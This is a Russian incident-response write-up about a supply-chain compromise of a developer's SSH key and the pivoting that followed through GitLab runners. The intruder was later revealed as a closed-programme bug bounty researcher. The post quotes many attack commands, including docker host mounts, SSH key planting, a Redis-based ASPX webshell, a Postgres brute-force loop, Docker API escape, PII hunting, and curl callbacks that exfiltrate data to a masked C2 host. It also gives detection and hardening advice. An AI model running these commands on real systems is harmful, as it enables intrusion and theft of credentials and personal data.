Мы спросили, багхантеры они или нет, они сказали «Нет»

от автора

Всем привет от команды DFIR JetCSIRT! Хотим поделиться с вами одним интересным кейсом, эмоции от которого прекрасно описывает эта картинка:

Но обо всем по порядку…

Итак. Заказчик заводит запрос на расследование, в котором говорит, что учетная запись разработчика пушит непонятные коммиты в GitLab. По почте они установили, что пользователь выпустил себе несколько access-токенов, при этом новых входов в веб GitLab в этот период зафиксировано не было.  Подозревают, что скомпрометирован личный комп пользователя, с которого он работает с GitLab. Важное дополнение: в коммитах они видят заголовок X-BugBounty, но, со слов Заказчика, они не участвуют в программе багбаунти, поэтому уверены, что так маскируется злоумышленник. Заблокировали учетку разработчика и начали собирать триаж с его АРМ на анализ.

Пока собирались данные, мы успели посмотреть, что зафиксировал наш мониторинг:

  • скан с узла runner;

  • ssh-брут с узла runner;

  • эксплуатации уязвимостей с узла runner;

  • impacket с узла runner…

Стоит отметить, что GitLab находится вне инфраструктуры Заказчика, поэтому, похоже, злоумышленник запускает вредоносные пейлоады через runner, который расположен уже внутри, тем самым пытается распространиться и повыситься. Мы бьем тревогу, изолируем узел runner и запрашиваем на анализ все необходимые данные с GitLab и затронутых систем.

Что же делает злоумышленник?

В день инцидента в 00:11 он перебирает проекты через gitlab-shell, авторизовавшись с ssh-ключом под УЗ того самого разработчика. Откуда взялся ssh-ключ, спросите вы? Предлагаем пока отложить этот вопрос и вернуться к нему чуть позже.

В 00:24 он уже выпускает себе токен, и начинается самое интересное. В логах jobs видим примерно следующий стиль:

Дисклеймер

Здесь и далее мы скрываем любые данные, которые атрибутируют злоумышленника или Заказчика:

IP-адрес злоумышленника – 100.100.100.100

Домен злоумышленника – domain.su

Никнейм злоумышленника – Bughunter

УЗ разработчика Заказчика – Вася Пупкин (pupkin)

===== JOB 3150646 TRACE START =====

project=[masked]/etz/etz.front name=security-test status=success ref=security-test-Bughunter pipeline=805678 runner=743

Running with gitlab-runner 17.10.0 (67b2b2db)

Pulling docker image docker:20.10-dind ...

Executing "step_script" stage of the job script

$ echo "X-BugBounty Bughunter - Security Test"

X-BugBounty Bughunter - Security Test

$ whoami

root

$ id

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

То есть злоумышленник вносит коммиты в .gitlab-ci.yml, запускает пайплайн, в рамках которого создается job security-test, runner запускает контейнер и в нем выполняет команды из script.

Злоумышленник по базе проводит разведку окружения. Что самое интересное, перед каждой командой он выводит пояснение с помощью echo.

$ echo "X-BugBounty Bughunter - escalation recon"

$ echo "=== HOST FILESYSTEM ==="

$ docker run --rm -v /:/host alpine sh -c "cat /host/etc/hostname 2>/dev/null; echo ---; cat /host/etc/hosts 2>/dev/null | head -30; echo ---; ls -la /host/home/ 2>/dev/null; echo ---; ls -la /host/root/.ssh/ 2>/dev/null; cat /host/root/.ssh/known_hosts 2>/dev/null | head -20"[0;m

$ echo "=== GITLAB RUNNER CONFIG ==="

$ docker run --rm -v /:/host alpine sh -c "find /host -maxdepth 5 -name config.toml -path '*gitlab*' 2>/dev/null -exec head -80 {} \;"[0;m

concurrent = 10

$ echo "=== HOST NETWORK INTERFACES ==="

$ docker run --rm --net=host alpine ip addr show

$ echo "=== USER SSH KEYS ==="

$ docker run --rm -v /:/host alpine sh -c "for d in /host/home/*/; do u=\$(basename \$d); echo --- \$u ---; ls -la \$d/.ssh/ 2>/dev/null; cat \$d/.ssh/id_rsa.pub 2>/dev/null; cat \$d/.ssh/authorized_keys 2>/dev/null | head -5; done"

Вам ничего не напоминает «===»? Да-да, так обычно оставляют комменты ChatGPT и аналогичные ИИ-сервисы.

Здесь он закрепляется на узле runner со своим ssh-ключом:

$ echo "=== STEP 1 - SSH KEY ON RUNNER HOST ==="

$ docker run --rm -v /:/host alpine sh -c "echo 'ssh-ed25519 [masked] bb-bughunter-test' >> /host/root/.ssh/authorized_keys; cat /host/root/.ssh/authorized_keys"

После разведки окружения он сканит подсеть с помощью nmap. Потом по найденным открытым портам начинает обращаться к различным сервисам. Например, подключается к Redis-серверу без аутентификации, выполняет команды разведки, получает список ключей и содержимое записей:

$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command

=== REDIS [masked] (NO AUTH) ===

# Server

[masked]

# Keyspace

[masked]

$ echo "X-BugBounty Bughunter - Redis data extraction"

$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command

=== REDIS db0 HGETALL sample ===

[masked]

=== REDIS db0 SECOND KEY ===

[masked]

=== REDIS db7 HGETALL sample ===

[masked]

Демонстрирует, что можно изменить конфиг:

$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command

=== REDIS CONFIG SET PROOF ===

--- Current dir ---

dir

C:\Program Files\Redis

--- Set dir to IIS webroot ---

OK

--- Verify ---

dir

C:\inetpub\wwwroot

--- Set dbfilename ---

OK

--- Verify ---

dbfilename

test-bughunter.txt

--- Restore original ---

OK

Заметили пункт «Restore original»? Думаю, что с этого момента мы все-таки перестанем называть его злоумышленником. Повсюду расставленные теги X-BugBounty, коммиты от ChatGPT, паттерны «нелегитимной» активности по канонам багбаунти, откат к первоначальному состоянию… Поэтому дальше будем назвать его багхантером-нелегалом.

Тут он показывает реализацию RCEна все том же Redis:

$ echo "=== STEP 2 - Write ASPX webshell payload ==="

$ redis-cli -h 10.50.101.17 SET bughunter-rce "\r\n<%@ Page Language=\"C#\" %><%Response.Write(\"BUGHUNTER-BB-POC|\"+System.Environment.MachineName+\"|\"+System.Environment.UserName+\"|\"+System.Environment.UserDomainName+\"|\"+System.Environment.OSVersion.ToString());%>\r\n"

$ redis-cli -h 10.50.101.17 BGSAVE

Background saving started

$ echo "=== STEP 3 - Trigger webshell ==="

$ curl -sv -m 10 "http://10.50.101.17/bughunter-bb.aspx" 2>&1 || true

*   Trying 10.50.101.17:80...

* Connected to 10.50.101.17 (10.50.101.17) port 80

* using HTTP/1.x

> GET /bughunter-bb.aspx HTTP/1.1

> Host: 10.50.101.17

> User-Agent: curl/8.12.1

> Accept: /

$ echo "=== STEP 4 - Cleanup ==="

$ redis-cli -h 10.50.101.17 DEL bughunter-rce

Пытается сбрутить учетки PostgreSQL стандартными паролями:

$ echo "=== PG brute with found passwords ==="

$ export HOSTS="..."

$ export USERS="..."

$ export PASSWORDS="qwerty ciqwerty qwerty123! custom_pass test postgres password P@ssw0rd"

$ for h in $HOSTS; do for u in $USERS; do for p in $PASSWORDS; do RESULT=$(PGPASSWORD=$p psql -h $h -U $u -p 5432 -c "SELECT current_database(),current_user,version();" 2>&1 | head -3); if echo "$RESULT" | grep -q "row"; then echo "SUCCESS $h $u/$p"; echo "$RESULT"; fi; done; done; done

Также багхантер подключается к Elasticsearch без аутентификации:

=== Try Elasticsearch without auth ===

$ curl -sk -m 5 http://10.50.101.3:9200/ || true

$ curl -sk -m 5 http://10.50.101.2:9200/ || true

$ curl -sk -m 5 http://10.50.101.4:9200/ || true

Создает индекс Elasticsearch и записывает туда данные для теста. Все эти действия он выполняет через python-скрипты, завернутые в Base64:

$ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uLCBzc2wKY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleH[masked]

=== CREATE TEST INDEX ===

CREATE: {"acknowledged":true,"shards_acknowledged":true,"index":"bb-bughunter-test-index"}

=== WRITE TEST DOC ===

WRITE: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"result":"created","_shards":{"total":1,"successful":1,"failed":0},"_seq_no":0,"_primary_term":1}

=== READ BACK ===

READ: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"_seq_no":0,"_primary_term":1,"found":true,"_source":{"message": "X-BugBounty: Bughunter - proof of write access", "timestamp": "2026-05-21"}}

=== DELETE TEST INDEX ===

DELETE: {"acknowledged":true}

Еще он пробует вытащить персональные данные (email, телефоны, паспорта, адреса, зарплаты и прочее) из индексов Elasticsearch:

=== PASSPORT/SNILS/ADDRESS: 10000 hits ===

  [cmw_test-prod_system_event_adapter]

  {"id": "08de8a99-6bce-2e9a-9255-000000011303", "previous_event": "08de8a99-6bce-2e9a-9255-000000011302", "origin_event": "08de8a99-6bce-2e9a-0000-000000000000", "initiator": {"abbreviation": "[masked]", "type": "Account", "id": "account.3690", "name": "[masked]", "alias": "[masked]"}, "type": "AdapterRequestSent", "status": "Success", "solution": {"type": "Solution", "id": "system", "name": "system"}, "container": {"type": "Adapter", "id": "adapter", "name": "adapter"}, "adapter_data": {"plugin": {"type": "Adapter", "id": "adapter.2", "nam

 === ФАМИЛИЯ OR ФИО OR SURNAME: 10000 hits ===

  [masked]

=== ДАТА РОЖДЕНИЯ OR BIRTHDAY OR BIRTHDATE: 10000 hits ===

  [masked]

=== ЗАРПЛАТА OR SALARY OR ОКЛАД: 43 hits ===

  [masked]

Багхантер попадает на хост из контейнера на одном из продуктовых серверов. Подключается к Docker API без аутентификации и создает новый контейнер с host mount, а также альтернативно повышается до уровня хоста с помощью chroot:

$ echo "X-BugBounty Bughunter - DOCKER RCE"

$ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uCgpBUEkgPSAiaHR0cDovLz[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py"

=== RUNNING CONTAINERS ===

  76314479fc85 ['/pushgateway'] prom/pushgateway running

  5ca3556e205b ['/grafana-container'] grafana/grafana running

  5c46d78fb40c ['/prometheus'] prom/prometheus running

  d04022e41e54 ['/portainer'] portainer/portainer running

=== EXEC IN /pushgateway (76314479fc85) ===

Exec ID: ba5bebe6b7b4a31ebff74cef6f899e91c335c2c181e7e3f5442def7b0866a02d

OUTPUT:

$uid=65534(nobody) gid=65534(nobody)

=== CREATE CONTAINER WITH HOST MOUNT ===

Created: eaf154407262

$ docker -H tcp://10.50.100.90:2375 run --rm --pid=host --privileged --net=host -v /:/host alpine chroot /host sh -c "hostname && id && whoami && cat /etc/os-release | head -3 && echo --- && uname -a && echo --- && ls /home/"

А потом он получает доступ к PostgreSQL (без аутентификации) на скомпрометированном продуктовом сервере:

$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host sh -c "su postgres -c 'psql -c \"SELECT version();\"' && su postgres -c 'psql -c \"\\l\"' && su postgres -c 'psql -c \"SELECT datname, pg_size_pretty(pg_database_size(datname)) as size FROM pg_database ORDER BY pg_database_size(datname) DESC;\"'"

$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT column_name FROM information_schema.columns WHERE table_name='_reference219' AND table_schema='public' ORDER BY ordinal_position LIMIT 30;\""

$ echo "=== SEARCH FOR FIO/PHONE COLUMNS ==="

$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='public' AND (column_name ILIKE '%fio%' OR column_name ILIKE '%phone%' OR column_name ILIKE '%email%' OR column_name ILIKE '%name%' OR column_name ILIKE '%passport%' OR column_name ILIKE '%snils%' OR column_name ILIKE '%inn%' OR column_name ILIKE '%address%') LIMIT 30;\""

$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d grafana_db -c 'SELECT login, email, password, salt, is_admin FROM \"user\";'"

Еще в истории .psql_history находит пароль в открытом виде:

$ docker -H tcp://10.50.100.90:2375 run --rm -v /:/host alpine cat /host/root/.psql_history || true

lisr list user ls

\du

alter user postgres with password '[masked]' exit /q /quit /exit

Также багхантер немного анализирует AD через impacket, ищет контроллеры домена, центры сертификации, возможность атак через SMB:

$ docker run --rm --net=host python:3.11-alpine sh -c "apk add -q --no-cache bind-tools 2>/dev/null && pip install -q impacket 2>/dev/null && echo aW1wb3J0IHNvY2tldCwgc3RydWN0LCBvcwoKREMgPSAiMTAuOT[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py"

=== ADCS DISCOVERY ===

=== PRINTERBUG CHECK ===

  10.50.100.6:445 OPEN (SMB for SpoolSS)

=== SPOOLSS PIPE CHECK ===

  10.50.100.6 spoolss: access denied (needs creds)

=== SCAN FOR ADCS WEB ENROLLMENT ===

!!! ADCS WEB 10.50.100.34: 200

В целом там есть еще несколько интересных атак, демонстрирующих дыры безопасности (сколько раз вы встретили в тексте «без аутентификации»?). Но предлагаем остановиться на этом и перейти к волнующему всех вопросу.

Так откуда взялся ssh-ключ?

Как мы помним, багхантер начал свою активность с ssh-ключом Васи Пупкина (pupkin). Из интересного — он пытался распространиться на другие узлы с украденным ssh-ключом:

$ echo "=== COPY PUPKIN SSH KEY AND TRY INTERNAL HOSTS ==="

Так как закрытый ключ хранится на стороне клиента и не передается по сети (в случае здравомыслия пользователя), то наша рабочая гипотеза — утечка в результате работы стилера на АРМ Васи.

Мы проанализировали артефакты на его узле и не обнаружили следов работы стилера, как и других следов компрометации. Было много ИИ-агентов, которые вызывали подозрения, но ничего конкретного. Также мы подключили наш сервис киберразведки для поиска утекшего ssh-ключа. Ключ не обнаружили.

Начали закрадываться сомнения, что это стилер. Сомнения укрепились после того, как проанализировали логи с сервера gitlab. За неделю до инцидента багхантер осуществлял скан веба gitlab и ssh-брутфорс нескольких учеток на хосте (и pupkin не входил в их число). Как говорится: можно, а зачем? Если есть ключ, бери да заходи с ним. Следовательно, на тот момент ключа еще не было. И он смог найти его за неделю, а наша киберразведка — нет?

Так как найти утечку не удавалось, мы решили подойти чуть-чуть с другой стороны и найти багхантера…

Кто ты, воин?

При анализе коммитов мы видели, что багхантер делает отстук на свой С2-сервер:

curl -s -m 10 -X POST "http://100.100.100.100:1337/ci-callback"

В целом с этого же адреса осуществлялась вся его активность, в том числе ssh-подключения.

На этом адресе резолвится домен [masked].domain.su. При переходе на http://100.100.100.100:1337/ci-callback или http:// [masked].domain.su:1337/ci-callback возвращалась строка:

{"status": "ok", "ts": "timestamp UTC"}

А при классическом обращении на веб открывалась форма входа:

Почему важно, что домен однозначно идентифицируется с багхантером-нелегалом? Потому что адрес 100.100.100.100 принадлежит популярному веб-хостингу и на нем резолвится еще один домен VPN-сервиса. Нам надо было знать наверняка.

Теперь изучаем информацию о домене и находим почтовый адрес того, на кого он зарегистрирован:

Чудеса, мы получили личную почту регистранта.

А что если просто погуглить сочетание BugBounty и никнейм Bughunter? Тогда мы найдем профиль человека на Standoff по ссылке типа такой https://standoff365.com/ru-RU/profile/*Bughunter*/.

PS О том, что это никнейм, мы узнали только после того, как нашли профиль пользователя. Слово, которое мы заменили на Bughunter, не похоже на ник и первоначально не находилось при аналогичном поисковом запросе.

Ну, а дальше уже все пошло как по маслу. В профиле Standoff у него есть ссылка на личный телеграм, в аккаунте закреплен его открытый канал, который он подробно ведет. Из него мы узнали фамилию и имя, а также то, что он активно занимается багбаунти. И что VPN-сервис тоже принадлежит ему.

Преступление и наказание?

Напомним, что за несанкционированный доступ в инфраструктуру и выполнение вредоносных действий предусмотрена уголовная ответственность, согласно нашему законодательству. Даже если это подается под соусом багбаунти — ведь Заказчик не выставлялся на него.

Поэтому мы передали всю найденную информацию Заказчику, чтобы он дальше сам вершил судьбу багхантера-нелегала. Нам сказали «Большое спасибо», а через полчаса вернулись с обратной связью…

Как все было на самом деле?

Оказалось, что Заказчик был выставлен на «закрытую» программу багбаунти на реализацию недопустимого события. И наш багхантер выступал исследователем по данным работам. Теперь вернитесь в начало статьи и посмотрите на суслика…

На самом деле мы, конечно же, не расстроились, потому что доблестный Центр мониторинга и реагирования на инциденты ИБ выполнял свой долг, и считаем, что справились с этим, хоть и не нашли причину утечки ssh-ключа. Но мы были очень близки…

Багхантер нашел опубликованный npm-реестр Заказчика, где была открыта регистрация. Он зарегистрировался в данном сервисе и заменил один из пакетов на свою версию, в которой был вредоносный скрипт postinstall. Через несколько дней разработчик работал в IDE WebStorm и подтянул обновленный пакет. Скрипт собрал информацию об окружении и содержимое каталога ~/.ssh, а затем осуществил эксфильтрацию на C2. Такой вот вышел своего рода supply chain.

А близки мы были, потому что при расследовании видели опубликованный npm-реестр, однако тот пакет не был виден на главной странице, найти его можно было только через поисковую строку. Да и вряд ли без каких-либо улик кто-то пойдет перепроверять содержимое всех пакетов на изменения. Тем более, что по артефактам ОС не было видно явных нелегитимных действий.

Теперь же, зная способ «проникновения», мы провели небольшое исследование — а где в принципе это можно было обнаружить на узле?

В логах npm-cache C:\Users\user\AppData\Local\npm-cache\_logs\timestamp-debug-0 фиксируются две строчки, относящиеся к скрипту:

info run @test-ui/[masked]@2.5.5 postinstall node_modules/@test-ui/[masked] sh postinstall.sh

info run @ est-ui/[masked]@.5.5 postinstall { code: 0, signal: null }

И… это все. Какие команды выполняются внутри скрипта, нигде не видно. При этом сам скрипт не остается на узле как файловый артефакт. В данном случае мог бы помочь только Sysmon\EDR.

Пример детектирования команды эксфильтрации на С2 с помощью события создания процесса Sysmon 1:

"C:\Program Files\Git\mingw64\bin\curl.exe" -s -m 10 -X POST http://100.100.100.100:1337/npm-callback -H "Content-Type: application/json" -d "{\"whoami\":\"user\",\"id\":\"uid=1049690(user) gid=1049089 groups=1049089\",\"hostname\":\"WS01\",\"uname\":\"MINGW64_NT-10.0-19045 WS01 3.6.7-fb42d713.x86_64 Msys\",\"pwd\":\"/c/Users/user/Downloads/node_modules/@test-ui/[masked]\",\"ifconfig\":\"\",\"ssh_info\":\"no keys found\",\"ssh_keys\":\"none\",\"ci_env\":\"none\",\"k8s_sa\":\"none\",\"docker\":\"none\"}"

К сожалению, у нас на анализе был личный комп разработчика, на котором не был настроен даже классический аудит.

Подводим итоги

Всем аналитикам, которые столкнутся с аналогичным вектором кражи ssh-ключа и не найдут его в утечках, рекомендуем смотреть, какие пакеты устанавливались на узле разработчика. Обратите внимание на те немногие следы, которые остаются в логах менеджеров пакетов. И потратьте время на анализ последних измененных пакетов в реестре.

А что касается рекомендаций для всех владельцев похожих проблем в инфраструктуре:

  1. не публикуйте в интернет критичные сервисы, необходимые в работе только внутренним пользователям;

  2. в случае необходимости публикации сервисов в интернет используйте многофакторную аутентификацию;

  3. обеспечьте постоянный контроль опубликованных сервисов и своевременно устраняйте излишние доступы (например, к формам регистрации);

  4. не допускайте доступ без аутентификации к критичным ресурсам, даже если они находятся внутри сети;

  5. разделите gitlab-runners в зависимости от команд и типов задач;

  6. разместите gitlab-runners в выделенные подсети разработчиков, настройте жесткие ACL только до необходимых серверов;

  7. используйте подписи коммитов для валидации вносимых изменений в gitlab;

  8. настройте срок жизни ssh-ключей в администрировании gitlab;

  9. используйте в работе только корпоративные устройства с настроенным аудитом и сбором телеметрии в системы мониторинга.

Авторы:

Валерия Шотт, ведущий аналитик группы киберкриминалистики «Инфосистемы Джет»

Даниил Кирьяков, ведущий аналитик группы исследования киберугроз «Инфосистемы Джет»

ссылка на оригинал статьи https://habr.com/ru/articles/1050526/